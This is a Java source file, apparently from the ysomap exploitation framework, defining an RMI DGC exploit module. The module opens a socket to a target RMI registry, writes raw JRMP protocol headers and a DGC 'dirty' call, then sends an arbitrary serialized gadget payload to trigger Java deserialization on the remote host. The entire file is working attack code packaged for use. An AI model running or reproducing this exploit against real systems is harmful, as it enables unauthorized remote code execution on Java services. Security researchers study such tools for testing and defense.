package ysomap.exploits.rmi;

import sun.rmi.transport.TransportConstants;
import ysomap.common.annotation.*;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.rmi.component.MarshalOutputStream;

import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;

/**
 * @author wh1t3p1g
 * @since 2021/11/23
 */
@Exploits
@Authors({Authors.MBECHLER})
@Require(bullets = {"all gadgets"}, param = false)
@Details("RMI底层JRMP的dgc实现存在反序列化漏洞。\n" +
        "当前利用需要设置一个payload")
public class RMIDGCExploit extends AbstractExploit {

    @NotNull
    @Require(name = "target", detail = "target RMI Registry host:port, like localhost:1099")
    public String target;

    @NotNull
    public Object payload;

    public String payloadName;

    @Override
    public void work() {
        String[] detail = target.split(":");
        if(detail.length == 2){
            try {
                makeDGCCall(detail[0], Integer.parseInt(detail[1]), payload);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void stop() {
        status = Status.STOPPED;
    }

    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);

            dos.write(TransportConstants.Call);

            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);

            objOut.writeInt(1); // dirty
            objOut.writeLong(-669196253586618813L);

            objOut.writeObject(payloadObject);

            os.flush();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
            if ( s != null ) {
                s.close();
            }
        }
    }
}
